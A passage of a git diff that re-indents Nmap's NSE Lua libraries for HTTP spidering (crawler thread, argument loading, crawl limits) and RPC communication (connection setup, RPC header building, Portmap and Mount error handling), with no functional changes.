= {"exe", "com", "msi", "bin","dmg"} - } - local blacklist = {} - for _, cat in pairs(extensions) do - for _, ext in ipairs(cat) do - table.insert(blacklist, string.format(".%s$", ext)) - end - end + -- does the heavy crawling + -- + -- The crawler may exit due to a number of different reasons, including + -- invalid options, reaching max count or simply running out of links + -- We return a false status for all of these and in case the error was + -- unexpected or requires attention we set the error property accordingly. + -- This way the script can alert the user of the details by calling + -- getError() + crawl_thread = function(self, response_queue) + local condvar = nmap.condvar(response_queue) - self.options:addBlacklist( function(url) - local p = url:getPath():lower() - for _, pat in ipairs(blacklist) do - if ( p:match(pat) ) then - return true - end - end - end ) - end, + if ( false ~= self.options.withinhost and false ~= self.options.withindomain ) then + table.insert(response_queue, { false, { err = true, reason = "Invalid options: withinhost and withindomain can't both be true" } }) + condvar "signal" + return + end - -- does the heavy crawling - -- - -- The crawler may exit due to a number of different reasons, including - -- invalid options, reaching max count or simply running out of links - -- We return a false status for all of these and in case the error was - -- unexpected or requires attention we set the error property accordingly. - -- This way the script can alert the user of the details by calling - -- getError() - crawl_thread = function(self, response_queue) - local condvar = nmap.condvar(response_queue) + while(true) do - if ( false ~= self.options.withinhost and false ~= self.options.withindomain ) then - table.insert(response_queue, { false, { err = true, reason = "Invalid options: withinhost and withindomain can't both be true" } }) - condvar "signal" - return - end + if ( self.quit or coroutine.status(self.basethread) == 'dead' ) then + table.insert(response_queue, {false, { err = false, msg = "Quit signalled by crawler" } }) + break + end - while(true) do + -- in case the user set a max page count to retrieve check how many + -- pages we have retrieved so far + local count = self:getPageCount() + if ( self.options.maxpagecount and + ( count > self.options.maxpagecount ) ) then + table.insert(response_queue, { false, { err = false, msg = "Reached max page count" } }) + condvar "signal" + return + end - if ( self.quit or coroutine.status(self.basethread) == 'dead' ) then - table.insert(response_queue, {false, { err = false, msg = "Quit signalled by crawler" } }) - break - end + -- pull links from the queue until we get a valid one + local url + repeat + url = self.urlqueue:getNext() + until( not(url) or not(self.processed[tostring(url)]) ) - -- in case the user set a max page count to retrieve check how many - -- pages we have retrieved so far - local count = self:getPageCount() - if ( self.options.maxpagecount and - ( count > self.options.maxpagecount ) ) then - table.insert(response_queue, { false, { err = false, msg = "Reached max page count" } }) - condvar "signal" - return - end + -- if no url could be retrieved from the queue, abort ... + if ( not(url) ) then + table.insert(response_queue, { false, { err = false, msg = "No more urls" } }) + condvar "signal" + return + end - -- pull links from the queue until we get a valid one - local url - repeat - url = self.urlqueue:getNext() - until( not(url) or not(self.processed[tostring(url)]) ) - - -- if no url could be retrieved from the queue, abort ... - if ( not(url) ) then - table.insert(response_queue, { false, { err = false, msg = "No more urls" } }) - condvar "signal" - return - end - - if ( self.options.maxpagecount ) then - stdnse.print_debug(2, "%s: Fetching url [%d of %d]: %s", LIBRARY_NAME, count, self.options.maxpagecount, tostring(url)) - else - stdnse.print_debug(2, "%s: Fetching url: %s", LIBRARY_NAME, tostring(url)) - end + if ( self.options.maxpagecount ) then + stdnse.print_debug(2, "%s: Fetching url [%d of %d]: %s", LIBRARY_NAME, count, self.options.maxpagecount, tostring(url)) + else + stdnse.print_debug(2, "%s: Fetching url: %s", LIBRARY_NAME, tostring(url)) + end local scrape = true @@ -825,214 +825,214 @@ Crawler = { response = http.head(url:getHost(), url:getPort(), url:getFile()) end else - -- fetch the url, and then push it to the processed table - response = http.get(url:getHost(), url:getPort(), url:getFile(), { timeout = self.options.timeout, redirect_ok = self.options.redirect_ok, no_cache = self.options.no_cache } ) - end + -- fetch the url, and then push it to the processed table + response = http.get(url:getHost(), url:getPort(), url:getFile(), { timeout = self.options.timeout, redirect_ok = self.options.redirect_ok, no_cache = self.options.no_cache } ) + end - self.processed[tostring(url)] = true + self.processed[tostring(url)] = true - if ( response ) then - -- were we redirected? - if ( response.location ) then - -- was the link absolute? - local link = response.location[#response.location] - if ( link:match("^http") ) then - url = URL:new(link) - -- guess not - else - url.path = link - end - end - -- if we have a response, proceed scraping it - if ( response.body ) and scrape then - local links = LinkExtractor:new(url, response.body, self.options):getLinks() - self.urlqueue:add(links) - end - else - response = { body = "", headers = {} } - end - table.insert(response_queue, { true, { url = url, response = response } } ) - while ( PREFETCH_SIZE < #response_queue ) do - stdnse.print_debug(2, "%s: Response queue full, waiting ...", LIBRARY_NAME) - condvar "wait" - end - condvar "signal" + if ( response ) then + -- were we redirected? + if ( response.location ) then + -- was the link absolute? + local link = response.location[#response.location] + if ( link:match("^http") ) then + url = URL:new(link) + -- guess not + else + url.path = link + end end - condvar "signal" - end, - - -- Loads the argument set on a script level - loadScriptArguments = function(self) - local sn = self.options.scriptname - if ( not(sn) ) then - stdnse.print_debug("%s: WARNING: Script argument could not be loaded as scriptname was not set", LIBRARY_NAME) - return - end - - if ( nil == self.options.maxdepth ) then - self.options.maxdepth = tonumber(stdnse.get_script_args(sn .. ".maxdepth")) - end - if ( nil == self.options.maxpagecount ) then - self.options.maxpagecount = tonumber(stdnse.get_script_args(sn .. ".maxpagecount")) - end - if ( nil == self.url ) then - self.url = stdnse.get_script_args(sn .. ".url") - end - if ( nil == self.options.withinhost ) then - self.options.withinhost = stdnse.get_script_args(sn .. ".withinhost") - end - if ( nil == self.options.withindomain ) then - self.options.withindomain = stdnse.get_script_args(sn .. ".withindomain") - end - if ( nil == self.options.noblacklist ) then - self.options.noblacklist = stdnse.get_script_args(sn .. ".noblacklist") - end - if ( nil == self.options.useheadfornonwebfiles ) then - self.options.useheadfornonwebfiles = stdnse.get_script_args(sn .. ".useheadfornonwebfiles") - end - if ( nil == self.options.doscraping ) then - self.options.doscraping = stdnse.get_script_args(sn .. ".doscraping") - end - - end, - - -- Loads the argument on a library level - loadLibraryArguments = function(self) - local ln = LIBRARY_NAME - - if ( nil == self.options.maxdepth ) then - self.options.maxdepth = tonumber(stdnse.get_script_args(ln .. ".maxdepth")) - end - if ( nil == self.options.maxpagecount ) then - self.options.maxpagecount = tonumber(stdnse.get_script_args(ln .. ".maxpagecount")) - end - if ( nil == self.url ) then - self.url = stdnse.get_script_args(ln .. ".url") - end - if ( nil == self.options.withinhost ) then - self.options.withinhost = stdnse.get_script_args(ln .. ".withinhost") - end - if ( nil == self.options.withindomain ) then - self.options.withindomain = stdnse.get_script_args(ln .. ".withindomain") - end - if ( nil == self.options.noblacklist ) then - self.options.noblacklist = stdnse.get_script_args(ln .. ".noblacklist") - end - if ( nil == self.options.useheadfornonwebfiles ) then - self.options.useheadfornonwebfiles = stdnse.get_script_args(ln .. ".useheadfornonwebfiles") - end - if ( nil == self.options.doscraping ) then - self.options.doscraping = stdnse.get_script_args(ln .. ".doscraping") - end - end, - - -- Loads any defaults for arguments that were not set - loadDefaultArguments = function(self) - local function tobool(b) - if ( nil == b ) then - return - end - assert("string" == type(b) or "boolean" == type(b) or "number" == type(b), "httpspider: tobool failed, unsupported type") - if ( "string" == type(b) ) then - if ( "true" == b ) then - return true - else - return false - end - elseif ( "number" == type(b) ) then - if ( 1 == b ) then - return true - else - return false - end - end - return b - end - - if self.options.withinhost == 0 then - self.options.withinhost = false - end - - if self.options.withindomain == 0 then - self.options.withindomain = false - end - - -- fixup some booleans to make sure they're actually booleans - self.options.noblacklist = tobool(self.options.noblacklist) - self.options.useheadfornonwebfiles = tobool(self.options.useheadfornonwebfiles) - - if ( self.options.withinhost == nil ) then - if ( self.options.withindomain ~= true ) then - self.options.withinhost = true - else - self.options.withinhost = false - end - end - if ( self.options.withindomain == nil ) then - self.options.withindomain = false - end - if ( not ( type(self.options.doscraping) == "function" ) ) then - self.options.doscraping = false - end - self.options.maxdepth = tonumber(self.options.maxdepth) or 3 - self.options.maxpagecount = tonumber(self.options.maxpagecount) or 20 - self.url = self.url or '/' - end, - - -- gets a string of limitations imposed on the crawl - getLimitations = function(self) - local o = self.options - local limits = {} - if ( o.maxdepth > 0 or o.maxpagecount > 0 or - o.withinhost or o.withindomain ) then - if ( o.maxdepth > 0 ) then - table.insert(limits, ("maxdepth=%d"):format(o.maxdepth)) - end - if ( o.maxpagecount > 0 ) then - table.insert(limits, ("maxpagecount=%d"):format(o.maxpagecount)) - end - if ( o.withindomain ) then - table.insert(limits, ("withindomain=%s"):format(o.base_url:getDomain() or o.base_url:getHost())) - end - if ( o.withinhost ) then - table.insert(limits, ("withinhost=%s"):format(o.base_url:getHost())) - end - end - - if ( #limits > 0 ) then - return ("Spidering limited to: %s"):format(stdnse.strjoin("; ", limits)) - end - end, - - -- does the crawling - crawl = function(self) - self.response_queue = self.response_queue or {} - local condvar = nmap.condvar(self.response_queue) - if ( not(self.thread) ) then - self.thread = stdnse.new_thread(self.crawl_thread, self, self.response_queue) - end - - if ( #self.response_queue == 0 and coroutine.status(self.thread) ~= 'dead') then - condvar "wait" - end - condvar "signal" - if ( #self.response_queue == 0 ) then - return false, { err = false, msg = "No more urls" } - else - return table.unpack(table.remove(self.response_queue, 1)) - end - end, - - -- signals the crawler to stop - stop = function(self) - local condvar = nmap.condvar(self.response_queue) - self.quit = true - condvar "signal" - if ( coroutine.status(self.thread) == "dead" ) then - return + -- if we have a response, proceed scraping it + if ( response.body ) and scrape then + local links = LinkExtractor:new(url, response.body, self.options):getLinks() + self.urlqueue:add(links) end + else + response = { body = "", headers = {} } + end + table.insert(response_queue, { true, { url = url, response = response } } ) + while ( PREFETCH_SIZE < #response_queue ) do + stdnse.print_debug(2, "%s: Response queue full, waiting ...", LIBRARY_NAME) condvar "wait" + end + condvar "signal" end + condvar "signal" + end, + + -- Loads the argument set on a script level + loadScriptArguments = function(self) + local sn = self.options.scriptname + if ( not(sn) ) then + stdnse.print_debug("%s: WARNING: Script argument could not be loaded as scriptname was not set", LIBRARY_NAME) + return + end + + if ( nil == self.options.maxdepth ) then + self.options.maxdepth = tonumber(stdnse.get_script_args(sn .. ".maxdepth")) + end + if ( nil == self.options.maxpagecount ) then + self.options.maxpagecount = tonumber(stdnse.get_script_args(sn .. ".maxpagecount")) + end + if ( nil == self.url ) then + self.url = stdnse.get_script_args(sn .. ".url") + end + if ( nil == self.options.withinhost ) then + self.options.withinhost = stdnse.get_script_args(sn .. ".withinhost") + end + if ( nil == self.options.withindomain ) then + self.options.withindomain = stdnse.get_script_args(sn .. ".withindomain") + end + if ( nil == self.options.noblacklist ) then + self.options.noblacklist = stdnse.get_script_args(sn .. ".noblacklist") + end + if ( nil == self.options.useheadfornonwebfiles ) then + self.options.useheadfornonwebfiles = stdnse.get_script_args(sn .. ".useheadfornonwebfiles") + end + if ( nil == self.options.doscraping ) then + self.options.doscraping = stdnse.get_script_args(sn .. ".doscraping") + end + + end, + + -- Loads the argument on a library level + loadLibraryArguments = function(self) + local ln = LIBRARY_NAME + + if ( nil == self.options.maxdepth ) then + self.options.maxdepth = tonumber(stdnse.get_script_args(ln .. ".maxdepth")) + end + if ( nil == self.options.maxpagecount ) then + self.options.maxpagecount = tonumber(stdnse.get_script_args(ln .. ".maxpagecount")) + end + if ( nil == self.url ) then + self.url = stdnse.get_script_args(ln .. ".url") + end + if ( nil == self.options.withinhost ) then + self.options.withinhost = stdnse.get_script_args(ln .. ".withinhost") + end + if ( nil == self.options.withindomain ) then + self.options.withindomain = stdnse.get_script_args(ln .. ".withindomain") + end + if ( nil == self.options.noblacklist ) then + self.options.noblacklist = stdnse.get_script_args(ln .. ".noblacklist") + end + if ( nil == self.options.useheadfornonwebfiles ) then + self.options.useheadfornonwebfiles = stdnse.get_script_args(ln .. ".useheadfornonwebfiles") + end + if ( nil == self.options.doscraping ) then + self.options.doscraping = stdnse.get_script_args(ln .. ".doscraping") + end + end, + + -- Loads any defaults for arguments that were not set + loadDefaultArguments = function(self) + local function tobool(b) + if ( nil == b ) then + return + end + assert("string" == type(b) or "boolean" == type(b) or "number" == type(b), "httpspider: tobool failed, unsupported type") + if ( "string" == type(b) ) then + if ( "true" == b ) then + return true + else + return false + end + elseif ( "number" == type(b) ) then + if ( 1 == b ) then + return true + else + return false + end + end + return b + end + + if self.options.withinhost == 0 then + self.options.withinhost = false + end + + if self.options.withindomain == 0 then + self.options.withindomain = false + end + + -- fixup some booleans to make sure they're actually booleans + self.options.noblacklist = tobool(self.options.noblacklist) + self.options.useheadfornonwebfiles = tobool(self.options.useheadfornonwebfiles) + + if ( self.options.withinhost == nil ) then + if ( self.options.withindomain ~= true ) then + self.options.withinhost = true + else + self.options.withinhost = false + end + end + if ( self.options.withindomain == nil ) then + self.options.withindomain = false + end + if ( not ( type(self.options.doscraping) == "function" ) ) then + self.options.doscraping = false + end + self.options.maxdepth = tonumber(self.options.maxdepth) or 3 + self.options.maxpagecount = tonumber(self.options.maxpagecount) or 20 + self.url = self.url or '/' + end, + + -- gets a string of limitations imposed on the crawl + getLimitations = function(self) + local o = self.options + local limits = {} + if ( o.maxdepth > 0 or o.maxpagecount > 0 or + o.withinhost or o.withindomain ) then + if ( o.maxdepth > 0 ) then + table.insert(limits, ("maxdepth=%d"):format(o.maxdepth)) + end + if ( o.maxpagecount > 0 ) then + table.insert(limits, ("maxpagecount=%d"):format(o.maxpagecount)) + end + if ( o.withindomain ) then + table.insert(limits, ("withindomain=%s"):format(o.base_url:getDomain() or o.base_url:getHost())) + end + if ( o.withinhost ) then + table.insert(limits, ("withinhost=%s"):format(o.base_url:getHost())) + end + end + + if ( #limits > 0 ) then + return ("Spidering limited to: %s"):format(stdnse.strjoin("; ", limits)) + end + end, + + -- does the crawling + crawl = function(self) + self.response_queue = self.response_queue or {} + local condvar = nmap.condvar(self.response_queue) + if ( not(self.thread) ) then + self.thread = stdnse.new_thread(self.crawl_thread, self, self.response_queue) + end + + if ( #self.response_queue == 0 and coroutine.status(self.thread) ~= 'dead') then + condvar "wait" + end + condvar "signal" + if ( #self.response_queue == 0 ) then + return false, { err = false, msg = "No more urls" } + else + return table.unpack(table.remove(self.response_queue, 1)) + end + end, + + -- signals the crawler to stop + stop = function(self) + local condvar = nmap.condvar(self.response_queue) + self.quit = true + condvar "signal" + if ( coroutine.status(self.thread) == "dead" ) then + return + end + condvar "wait" + end } return _ENV; diff --git a/nselib/rpc.lua b/nselib/rpc.lua index 7d797a56a..0f8a7b1ff 100644 --- a/nselib/rpc.lua +++ b/nselib/rpc.lua @@ -111,8 +111,8 @@ RPC_args = { -- Defines the order in which to try to connect to the RPC programs -- TCP appears to be more stable than UDP in most cases, so try it first local RPC_PROTOCOLS = (nmap.registry.args and nmap.registry.args[RPC_args['rpcbind'].proto] and - type(nmap.registry.args[RPC_args['rpcbind'].proto]) == 'table') and - nmap.registry.args[RPC_args['rpcbind'].proto] or { "tcp", "udp" } + type(nmap.registry.args[RPC_args['rpcbind'].proto]) == 'table') and +nmap.registry.args[RPC_args['rpcbind'].proto] or { "tcp", "udp" } -- used to cache the contents of the rpc datafile local RPC_PROGRAMS @@ -122,228 +122,228 @@ local mutex = nmap.mutex("rpc") -- Supported protocol versions RPC_version = { - ["rpcbind"] = { min=2, max=2 }, - ["nfs"] = { min=1, max=3 }, - ["mountd"] = { min=1, max=3 }, + ["rpcbind"] = { min=2, max=2 }, + ["nfs"] = { min=1, max=3 }, + ["mountd"] = { min=1, max=3 }, } -- Low-level communication class Comm = { - --- Creates a new rpc Comm object - -- - -- @param program name string - -- @param version number containing the program version to use - -- @return a new Comm object - new = function(self, program, version) - local o = {} - setmetatable(o, self) - self.__index = self - o.program = program - o.program_id = Util.ProgNameToNumber(program) - o.checkprogver = true - o:SetVersion(version) - return o - end, + --- Creates a new rpc Comm object + -- + -- @param program name string + -- @param version number containing the program version to use + -- @return a new Comm object + new = function(self, program, version) + local o = {} + setmetatable(o, self) + self.__index = self + o.program = program + o.program_id = Util.ProgNameToNumber(program) + o.checkprogver = true + o:SetVersion(version) + return o + end, - --- Connects to the remote program - -- - -- @param host table - -- @param port table - -- @return status boolean true on success, false on failure - -- @return string containing error message (if status is false) - Connect = function(self, host, port) - local status, err, socket - status, err = self:ChkProgram() - if (not(status)) then - return status, err - end - status, err = self:ChkVersion() - if (not(status)) then - return status, err - end - if ( port.protocol == "tcp" ) then - if nmap.is_privileged() then - -- Try to bind to a reserved port - for i = 1, 10, 1 do - local resvport = math.random(1, 1024) - socket = nmap.new_socket() - status, err = socket:bind(nil, resvport) - if status then - status, err = socket:connect(host, port) - if status or err == "TIMEOUT" then break end - socket:close() - end - end - else + --- Connects to the remote program + -- + -- @param host table + -- @param port table + -- @return status boolean true on success, false on failure + -- @return string containing error message (if status is false) + Connect = function(self, host, port) + local status, err, socket + status, err = self:ChkProgram() + if (not(status)) then + return status, err + end + status, err = self:ChkVersion() + if (not(status)) then + return status, err + end + if ( port.protocol == "tcp" ) then + if nmap.is_privileged() then + -- Try to bind to a reserved port + for i = 1, 10, 1 do + local resvport = math.random(1, 1024) socket = nmap.new_socket() - status, err = socket:connect(host, port) - end - else - if nmap.is_privileged() then - -- Try to bind to a reserved port - for i = 1, 10, 1 do - local resvport = math.random(1, 1024) - socket = nmap.new_socket("udp") - status, err = socket:bind(nil, resvport) - if status then - status, err = socket:connect(host, port) - if status or err == "TIMEOUT" then break end - socket:close() - end + status, err = socket:bind(nil, resvport) + if status then + status, err = socket:connect(host, port) + if status or err == "TIMEOUT" then break end + socket:close() end - else + end + else + socket = nmap.new_socket() + status, err = socket:connect(host, port) + end + else + if nmap.is_privileged() then + -- Try to bind to a reserved port + for i = 1, 10, 1 do + local resvport = math.random(1, 1024) socket = nmap.new_socket("udp") - status, err = socket:connect(host, port) + status, err = socket:bind(nil, resvport) + if status then + status, err = socket:connect(host, port) + if status or err == "TIMEOUT" then break end + socket:close() + end end - end - if (not(status)) then - return status, string.format("%s connect error: %s", - self.program, err) else - self.socket = socket - self.host = host - self.ip = host.ip - self.port = port.number - self.proto = port.protocol - return status, nil + socket = nmap.new_socket("udp") + status, err = socket:connect(host, port) end - end, - - --- Disconnects from the remote program - -- - -- @return status boolean true on success, false on failure - -- @return string containing error message (if status is false) - Disconnect = function(self) - local status, err = self.socket:close() - if (not(status)) then - return status, string.format("%s disconnect error: %s", - self.program, err) - end - self.socket=nil + end + if (not(status)) then + return status, string.format("%s connect error: %s", + self.program, err) + else + self.socket = socket + self.host = host + self.ip = host.ip + self.port = port.number + self.proto = port.protocol return status, nil - end, + end + end, - --- Checks if the rpc program is supported - -- - -- @return status boolean true on success, false on failure - -- @return string containing error message (if status is false) - ChkProgram = function(self) - if (not(RPC_version[self.program])) then - return false, string.format("RPC library does not support: %s protocol", - self.program) - end - return true, nil - end, + --- Disconnects from the remote program + -- + -- @return status boolean true on success, false on failure + -- @return string containing error message (if status is false) + Disconnect = function(self) + local status, err = self.socket:close() + if (not(status)) then + return status, string.format("%s disconnect error: %s", + self.program, err) + end + self.socket=nil + return status, nil + end, - --- Checks if the rpc program version is supported - -- - -- @return status boolean true on success, false on failure - -- @return string containing error message (if status is false) - ChkVersion = function(self) - if not self.checkprogver then return true end - if ( self.version > RPC_version[self.program].max or - self.version < RPC_version[self.program].min ) then - return false, string.format("RPC library does not support: %s version %d", - self.program,self.version) - end - return true, nil - end, + --- Checks if the rpc program is supported + -- + -- @return status boolean true on success, false on failure + -- @return string containing error message (if status is false) + ChkProgram = function(self) + if (not(RPC_version[self.program])) then + return false, string.format("RPC library does not support: %s protocol", + self.program) + end + return true, nil + end, - --- Sets the rpc program version - -- - -- @return status boolean true - SetVersion = function(self, version) - if self.checkprogver then - if (RPC_version[self.program] and RPC_args[self.program] and + --- Checks if the rpc program version is supported + -- + -- @return status boolean true on success, false on failure + -- @return string containing error message (if status is false) + ChkVersion = function(self) + if not self.checkprogver then return true end + if ( self.version > RPC_version[self.program].max or + self.version < RPC_version[self.program].min ) then + return false, string.format("RPC library does not support: %s version %d", + self.program,self.version) + end + return true, nil + end, + + --- Sets the rpc program version + -- + -- @return status boolean true + SetVersion = function(self, version) + if self.checkprogver then + if (RPC_version[self.program] and RPC_args[self.program] and nmap.registry.args and nmap.registry.args[RPC_args[self.program].ver]) then - self.version = tonumber(nmap.registry.args[RPC_args[self.program].ver]) - elseif (not(self.version) and version) then - self.version = version - end - else + self.version = tonumber(nmap.registry.args[RPC_args[self.program].ver]) + elseif (not(self.version) and version) then self.version = version end - return true, nil - end, + else + self.version = version + end + return true, nil + end, - --- Sets the verification of the specified program and version support - -- before trying to connecting. - -- @param check boolean to enable or disable checking of program and version support. - SetCheckProgVer = function(self, check) - self.checkprogver = check - end, + --- Sets the verification of the specified program and version support + -- before trying to connecting. + -- @param check boolean to enable or disable checking of program and version support. + SetCheckProgVer = function(self, check) + self.checkprogver = check + end, - --- Sets the RPC program ID to use. - -- @param progid number Program ID to set. - SetProgID = function(self, progid) - self.program_id = progid - end, + --- Sets the RPC program ID to use. + -- @param progid number Program ID to set. + SetProgID = function(self, progid) + self.program_id = progid + end, - --- Checks if data contains enough bytes to read the needed amount - -- If it doesn't it attempts to read the remaining amount of bytes from the socket - -- - -- @param data string containing the current buffer - -- @param pos number containing the current offset into the buffer - -- @param needed number containing the number of bytes needed to be available - -- @return status success or failure - -- @return data string containing the data passed to the function and the additional data appended to it or error message on failure - GetAdditionalBytes = function( self, data, pos, needed ) - local status, tmp + --- Checks if data contains enough bytes to read the needed amount + -- If it doesn't it attempts to read the remaining amount of bytes from the socket + -- + -- @param data string containing the current buffer + -- @param pos number containing the current offset into the buffer + -- @param needed number containing the number of bytes needed to be available + -- @return status success or failure + -- @return data string containing the data passed to the function and the additional data appended to it or error message on failure + GetAdditionalBytes = function( self, data, pos, needed ) + local status, tmp - if data:len() - pos + 1 < needed then - local toread = needed - ( data:len() - pos + 1 ) - status, tmp = self.socket:receive_bytes( toread ) - if status then - data = data .. tmp - else - return false, string.format("getAdditionalBytes() failed to read: %d bytes from the socket", - needed - ( data:len() - pos ) ) - end - end - return true, data - end, - - --- Creates a RPC header - -- - -- @param xid number. If no xid was provided, a random one will be used. - -- @param procedure number containing the procedure to call. Defaults to 0. - -- @param auth table containing the authentication data to use. Defaults to NULL authentication. - -- @return status boolean true on success, false on failure - -- @return string of bytes on success, error message on failure - CreateHeader = function( self, xid, procedure, auth ) - local RPC_VERSION = 2 - local packet - -- Defaulting to NULL Authentication - local auth = auth or {type = Portmap.AuthType.NULL} - local xid = xid or math.random(1234567890) - local procedure = procedure or 0 - - packet = bin.pack( ">IIIIII", xid, Portmap.MessageType.CALL, RPC_VERSION, - self.program_id, self.version, procedure ) - if auth.type == Portmap.AuthType.NULL then - packet = packet .. bin.pack( "IIII", 0, 0, 0, 0 ) - elseif auth.type == Portmap.AuthType.UNIX then - packet = packet .. Util.marshall_int32(auth.type) - local blob = Util.marshall_int32(nmap.clock()) --time - blob = blob .. Util.marshall_vopaque(auth.hostname or 'localhost') - blob = blob .. Util.marshall_int32(auth.uid or 0) - blob = blob .. Util.marshall_int32(auth.gid or 0) - if auth.gids then --len prefix gid list - blob = blob .. Util.marshall_int32(#auth.gids) - for _,gid in ipairs(auth.gids) do - blob = blob .. Util.marshall_int32(gid) - end - else - blob = blob .. Util.marshall_int32(0) - end - packet = packet .. Util.marshall_vopaque(blob) - packet = packet .. bin.pack( "II", 0, 0 ) --AUTH_NULL verf + if data:len() - pos + 1 < needed then + local toread = needed - ( data:len() - pos + 1 ) + status, tmp = self.socket:receive_bytes( toread ) + if status then + data = data .. tmp else - return false, "Comm.CreateHeader: invalid authentication type specified" + return false, string.format("getAdditionalBytes() failed to read: %d bytes from the socket", + needed - ( data:len() - pos ) ) end - return true, packet - end, + end + return true, data + end, + + --- Creates a RPC header + -- + -- @param xid number. If no xid was provided, a random one will be used. + -- @param procedure number containing the procedure to call. Defaults to 0. + -- @param auth table containing the authentication data to use. Defaults to NULL authentication. + -- @return status boolean true on success, false on failure + -- @return string of bytes on success, error message on failure + CreateHeader = function( self, xid, procedure, auth ) + local RPC_VERSION = 2 + local packet + -- Defaulting to NULL Authentication + local auth = auth or {type = Portmap.AuthType.NULL} + local xid = xid or math.random(1234567890) + local procedure = procedure or 0 + + packet = bin.pack( ">IIIIII", xid, Portmap.MessageType.CALL, RPC_VERSION, + self.program_id, self.version, procedure ) + if auth.type == Portmap.AuthType.NULL then + packet = packet .. bin.pack( "IIII", 0, 0, 0, 0 ) + elseif auth.type == Portmap.AuthType.UNIX then + packet = packet .. Util.marshall_int32(auth.type) + local blob = Util.marshall_int32(nmap.clock()) --time + blob = blob .. Util.marshall_vopaque(auth.hostname or 'localhost') + blob = blob .. Util.marshall_int32(auth.uid or 0) + blob = blob .. Util.marshall_int32(auth.gid or 0) + if auth.gids then --len prefix gid list + blob = blob .. Util.marshall_int32(#auth.gids) + for _,gid in ipairs(auth.gids) do + blob = blob .. Util.marshall_int32(gid) + end + else + blob = blob .. Util.marshall_int32(0) + end + packet = packet .. Util.marshall_vopaque(blob) + packet = packet .. bin.pack( "II", 0, 0 ) --AUTH_NULL verf + else + return false, "Comm.CreateHeader: invalid authentication type specified" + end + return true, packet + end, --- Decodes the RPC header (without the leading 4 bytes as received over TCP) -- @@ -365,7 +365,7 @@ Comm = { status, tmp = self:GetAdditionalBytes( data, pos, HEADER_LEN - ( data:len() - pos ) ) if not status then stdnse.print_debug(4, - string.format("Comm.DecodeHeader: failed to call GetAdditionalBytes")) + string.format("Comm.DecodeHeader: failed to call GetAdditionalBytes")) return -1, nil end data = data .. tmp @@ -385,7 +385,7 @@ Comm = { status, data = self:GetAdditionalBytes( data, pos, header.verifier.length - 8 ) if not status then stdnse.print_debug(4, - string.format("Comm.DecodeHeader: failed to call GetAdditionalBytes")) + string.format("Comm.DecodeHeader: failed to call GetAdditionalBytes")) return -1, nil end pos, header.verifier.data = bin.unpack("A" .. header.verifier.length - 8, data, pos ) @@ -632,7 +632,7 @@ Portmap = local program_table = setmetatable({}, { __mode = 'v' }) packet = comm:EncodePacket( nil, Portmap.Procedure[comm.version].DUMP, - { type=Portmap.AuthType.NULL }, data ) + { type=Portmap.AuthType.NULL }, data ) if (not(comm:SendPacket(packet))) then return false, "Portmap.Dump: Failed to send data" end @@ -653,24 +653,24 @@ Portmap = if header.state ~= Portmap.State.MSG_ACCEPTED then if (Portmap.RejectMsg[header.denied_state]) then return false, - string.format("Portmap.Dump: RPC call failed: %s", - Portmap.RejectMsg[header.denied_state]) + string.format("Portmap.Dump: RPC call failed: %s", + Portmap.RejectMsg[header.denied_state]) else return false, - string.format("Portmap.Dump: RPC call failed: code %d", - header.state) + string.format("Portmap.Dump: RPC call failed: code %d", + header.state) end end if header.accept_state ~= Portmap.AcceptState.SUCCESS then if (Portmap.AcceptMsg[header.accept_state]) then return false, - string.format("Portmap.Dump: RPC accepted state: %s", - Portmap.AcceptMsg[header.accept_state]) + string.format("Portmap.Dump: RPC accepted state: %s", + Portmap.AcceptMsg[header.accept_state]) else return false, - string.format("Portmap.Dump: RPC accepted state code %d", - header.accept_state) + string.format("Portmap.Dump: RPC accepted state code %d", + header.accept_state) end end @@ -728,7 +728,7 @@ Portmap = local data = bin.pack(">IIII", Util.ProgNameToNumber(program), version, 0, 0 ) local packet = comm:EncodePacket(nil, Portmap.Procedure[comm.version].CALLIT, - { type=Portmap.AuthType.NULL }, data ) + { type=Portmap.AuthType.NULL }, data ) if (not(comm:SendPacket(packet))) then return false, "Portmap.Callit: Failed to send data" @@ -775,9 +775,9 @@ Portmap = end data = bin.pack(">I>I>I>I", Util.ProgNameToNumber(program), version, - Portmap.PROTOCOLS[protocol], 0 ) + Portmap.PROTOCOLS[protocol], 0 ) packet = comm:EncodePacket(xid, Portmap.Procedure[comm.version].GETPORT, - { type=Portmap.AuthType.NULL }, data ) + { type=Portmap.AuthType.NULL }, data ) if (not(comm:SendPacket(packet))) then return false, "Portmap.GetPort: Failed to send data" @@ -802,21 +802,21 @@ Portmap = if header.state ~= Portmap.State.MSG_ACCEPTED then if (Portmap.RejectMsg[header.denied_state]) then return false, string.format("Portmap.GetPort: RPC call failed: %s", - Portmap.RejectMsg[header.denied_state]) + Portmap.RejectMsg[header.denied_state]) else return false, - string.format("Portmap.GetPort: RPC call failed: code %d", - header.state) + string.format("Portmap.GetPort: RPC call failed: code %d", + header.state) end end if header.accept_state ~= Portmap.AcceptState.SUCCESS then if (Portmap.AcceptMsg[header.accept_state]) then return false, string.format("Portmap.GetPort: RPC accepted state: %s", - Portmap.AcceptMsg[header.accept_state]) + Portmap.AcceptMsg[header.accept_state]) else return false, string.format("Portmap.GetPort: RPC accepted state code %d", - header.accept_state) + header.accept_state) end end @@ -898,7 +898,7 @@ Mount = { end packet = comm:EncodePacket(nil, Mount.Procedure.EXPORT, - { type=Portmap.AuthType.UNIX }, nil ) + { type=Portmap.AuthType.UNIX }, nil ) if (not(comm:SendPacket( packet ))) then return false, "Mount.Export: Failed to send data" end @@ -925,20 +925,20 @@ Mount = { if header.state ~= Portmap.State.MSG_ACCEPTED then if (Portmap.RejectMsg[header.denied_state]) then return false, string.format("Mount.Export: RPC call failed: %s", - Portmap.RejectMsg[header.denied_state]) + Portmap.RejectMsg[header.denied_state]) else return false, string.format("Mount.Export: RPC call failed: code %d", - header.state) + header.state) end end if header.accept_state ~= Portmap.AcceptState.SUCCESS then if (Portmap.AcceptMsg[header.accept_state]) then return false, string.format("Mount.Export: RPC accepted state: %s", - Portmap.AcceptMsg[header.accept_state]) + Portmap.AcceptMsg[header.accept_state]) else return false, string.format("Mount.Export: RPC accepted state code %d", - header.accept_state) + header.accept_state) end end @@ -1057,20 +1057,20 @@ Mount = { if header.state ~= Portmap.State.MSG_ACCEPTED then if (Portmap.RejectMsg[header.denied_state]) then return false, string.format("Mount: RPC call failed: %s", - Portmap.RejectMsg[header.denied_state]) + Portmap.RejectMsg[header.denied_state]) else return false, string.format("Mount: RPC call failed: code %d", - header.state) + header.state) end end if header.accept_state ~= Portmap.AcceptState.SUCCESS then if (Portmap.AcceptMsg[header.accept_state]) then return 